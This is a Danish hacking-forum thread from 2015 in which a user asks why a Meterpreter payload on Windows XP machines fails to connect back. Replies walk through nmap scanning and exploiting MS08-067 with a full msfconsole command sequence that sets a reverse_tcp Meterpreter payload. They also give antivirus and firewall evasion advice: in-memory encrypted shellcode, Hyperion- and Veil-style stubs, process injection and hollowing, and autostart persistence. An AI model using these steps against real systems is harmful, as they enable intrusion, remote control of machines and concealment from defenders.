Hey Shellsec

Jeg er igang med at teste på computere som kører windows xp og jeg har fysisk adgang til dem. Det jeg så har prøvet, det var, at downloade en lille pakke fra en af disse maskiner for at kunne få en session fra meterpreter. Desværre fik jeg ikke noget, selvom jeg koblede mig på local admin og downloadede filen og kørte den på offer-maskinen.

De her maskiner er normalt koblet på en domæne. Kan det have noget at gøre med det eller andet? Nogen løsning?

Har du startet din lytter på din egen maskine først? /multi/handler?
Det er også vigtigt du vælger samme type meterpreter, som du har brugt i din fil.
Ellers kan det selvfølgelig være ip nummeret der er forkert.
Den maskine du hacker fra, er det windows eller linux? Tænker det måske kan være noget windows firewall der blokerer.
Det kan selvfølgelig også være noget antivirus på xp maskinen, men det burde den advare om.
Ellers kan du måske se noget med Wireshark packetsniffer. Hvor trafikken ryger hen og om der overhovedet er netværksaktivitet fra xp maskinen.

(19-05-2015, 13:36)iTick Skrev: Har du startet din lytter på din egen maskine først? /multi/handler?
Det er også vigtigt du vælger samme type meterpreter, som du har brugt i din fil.
Ellers kan det selvfølgelig være ip nummeret der er forkert.
Den maskine du hacker fra, er det windows eller linux? Tænker det måske kan være noget windows firewall der blokerer.
Det kan selvfølgelig også være noget antivirus på xp maskinen, men det burde den advare om.
Ellers kan du måske se noget med Wireshark packetsniffer. Hvor trafikken ryger hen og om der overhovedet er netværksaktivitet fra xp maskinen.

Tak. Den maskine jeg bruger for at komme ind er linux ja. Tror også det har noget med windows firewall at gøre.
Antivirussen har jeg i denne omgang deaktiveret for, eftersom jeg er local admin. Tror også jeg lige slår win firewallen fra.

Sagen er således, hvordan bryder folk ind REMOTELY og bruger lyttere aka meterpreter uden at blive fanget af firewallen :/. Hvis du kan følge mig..?

Normalt vil man scanne xp maskinen med f.eks. nmap, for at se hvilke porte der er åben.
Og gerne med et version scan, så man måske kan se produktet og versionen på produktet der lytter på den port.
Så finde et exploit til den service og angribe maskinen.
Hvis du scanner en unpatched XP på f.eks. port 139 og 445, kan du sikkert se der er noget der lytter.
Hvis du vil have noget at lege med, kan jeg anbelfale at lure på MS08-067 (netapi), den er ret stabil og bruges ofte til demoer på XP.
Og.. der er et exploit i metasploit til denne sårbarhed.

Bemærk at på bestemte patch niveauer på XP, kan en scan efter den vulnerability få servicen til at crache, så maskinen skal måske bootes.

Vi har flere nmap guides her på SS. :)
EDIT: https://www.exploit-db.com/search/?actio...7&e_author=
http://www.offensive-security.com/metasp.../Main_Page
Du kan for øvrigt også bruge nmap direkte fra msfconsole.

EDIT2:

Citer:msf > search ms08-067

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption


msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.10 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.1.2 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


msf exploit(ms08_067_netapi) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > exploit

Jeg har ikke testet om ovenstående virker, men hvis du bare skal lege med meterpreter, burde ovenstående virke.
RHOST skal sættes til XP maskinen og LHOST skal sættes til din linux box.

Eftersom at du har fysisk adgang, går jeg ikke udfra, at det er selve inficeringen du er ude efter.

Sørg for at tjekke efter om din opsætning nu også er iorden. Har din payload samt listener samme port specificeret? Bruger du DNS eller IP? Bruger du intern eller ekstern IP?

Problemet med meterpreter, såvel som traditionelle RATs er at de som udgangspunkt ikke er whitelisted i firewallen. De er dog heller ikke direkte blacklisted, så du må enten finde en måde at whiteliste processen, eller låne en anden process, som er whitelisted i firewallen. Hvis du har leget med RATs, vil du have opdaget, at de fleste har en indstilling, der der normalt kaldes noget i stil med "inject into default browser". Dette er kendt som 'process injection' - hvor en kendt metode er 'process hollowing'. Her injicerer man sin kode ind i en anden proces, hvorefter man starter den. Grunden til, at det oftest er den standard anvendte browser, er fordi at denne vil være whitelisted af firewallen. Forestil dig at din firewall blokkerer adgang til internettet. Nej vel?
Meterpreter kalder dette for migration, og der findes flere forskellige moduler til post-exploitation. Om de findes til selve exploitation stadiet skal jeg ikke kunne sige, da jeg udelukkende har brugt PI i kodeform.

Hvis du istedet for at lave en binær payload, gemmer den som en tekstfil eller bare outputter den direkte som shellcode, kan du køre koden direkte i hukommelsen ved hjælp af en simpel funktion i C/C++. Her kan du så vælge at kryptere denne shellcode, og dekryptere før du kører funktionen, ellers også kan du bruge msfencode på samme shellcode, som selv sørger for at dekode den oprindelige shellcode. Sidstnævnte resulterede i 1/50+ detections sidst jeg tjekkede, så det er jo oplagt. Hvis du har mod på det, kan du implementere en 'stub' der brute-forcer din krypteringsnøgle i stil med Hyperion og Veil-Evasion. Der skal ikke mange sekunder til, før du snyder den emulering de fleste AV-produkter anvender. Første funktion jeg nævner kan findes i hundrede forskellige varianter på Google, som blandt andet benytter sig af smarte metoder til at forsinke kørsel af din kode, da sleep er gennemskuet af de førnævnte emuleringer.

Når du så har ordnet ovenstående, kan du tilføje process injection og autostart, hvor meterpreter så på samme tid kun vil være på disken i enkodet eller krypteret form, og altså ikke skabe problemer, da den reelle kode kun vil være tilstede i hukommelsen.
Alternativt kan du kigge på PE, men bliver lige en del niveauer sværere.

Du kan også bruge tidligere åbnede porte, såfrem disse ikke er i brug på det tidspunkt du selv benytter porten.

(19-05-2015, 19:20)MalcolmXI Skrev: Eftersom at du har fysisk adgang, går jeg ikke udfra, at det er selve inficeringen du er ude efter.

Sørg for at tjekke efter om din opsætning nu også er iorden. Har din payload samt listener samme port specificeret? Bruger du DNS eller IP? Bruger du intern eller ekstern IP?

Problemet med meterpreter, såvel som traditionelle RATs er at de som udgangspunkt ikke er whitelisted i firewallen. De er dog heller ikke direkte blacklisted, så du må enten finde en måde at whiteliste processen, eller låne en anden process, som er whitelisted i firewallen. Hvis du har leget med RATs, vil du have opdaget, at de fleste har en indstilling, der der normalt kaldes noget i stil med "inject into default browser". Dette er kendt som 'process injection' - hvor en kendt metode er 'process hollowing'. Her injicerer man sin kode ind i en anden proces, hvorefter man starter den. Grunden til, at det oftest er den standard anvendte browser, er fordi at denne vil være whitelisted af firewallen. Forestil dig at din firewall blokkerer adgang til internettet. Nej vel?

Meterpreter kalder dette for migration, og der findes flere forskellige moduler til post-exploitation. Om de findes til selve exploitation stadiet skal jeg ikke kunne sige, da jeg udelukkende har brugt PI i kodeform.

Ok,

Jeg har kigget på migration og jeg kan kun udføre det via metasploit NÅR jeg har en meterpreter session. Så det virker, når exploittet er udført og maskinen er klar til at blive undersøgt nærmere (post exploitation). Men yep, jeg vil kigge nærmere på PI.

Du nævner også PE, hvad står dette for?

(19-05-2015, 20:30)ilovelearning0 Skrev: Ok,

Jeg har kigget på migration og jeg kan kun udføre det via metasploit NÅR jeg har en meterpreter session. Så det virker, når exploittet er udført og maskinen er klar til at blive undersøgt nærmere (post exploitation). Men yep, jeg vil kigge nærmere på PI.

Du nævner også PE, hvad står dette for?

Hvis du kører et exploit der giver remote code execution, og bruger meterpreter, sørger "metasploit" selv for at injecte din meterpreter ind i en process, og er aldrig gemt på disken. Og du kan, som du skriver, efterfølgene migrere næsten som du har lyst til. Alt efter rettighederne på den process du har exploited.

PE er et "program kode format".
http://en.wikipedia.org/wiki/Portable_Executable

Har du fået forbindelsen til at virke? Var det ikke det oprindelige problem?

(19-05-2015, 20:35)iTick Skrev: Hvis du kører et exploit der giver remote code execution, og bruger meterpreter, sørger "metasploit" selv for at injecte din meterpreter ind i en process, og er aldrig gemt på disken. Og du kan, som du skriver, efterfølgene migrere næsten som du har lyst til. Alt efter rettighederne på den process du har exploited.

PE er et "program kode format".
http://en.wikipedia.org/wiki/Portable_Executable

Har du fået forbindelsen til at virke? Var det ikke det oprindelige problem?

Jo det var firewallen der var problemet :).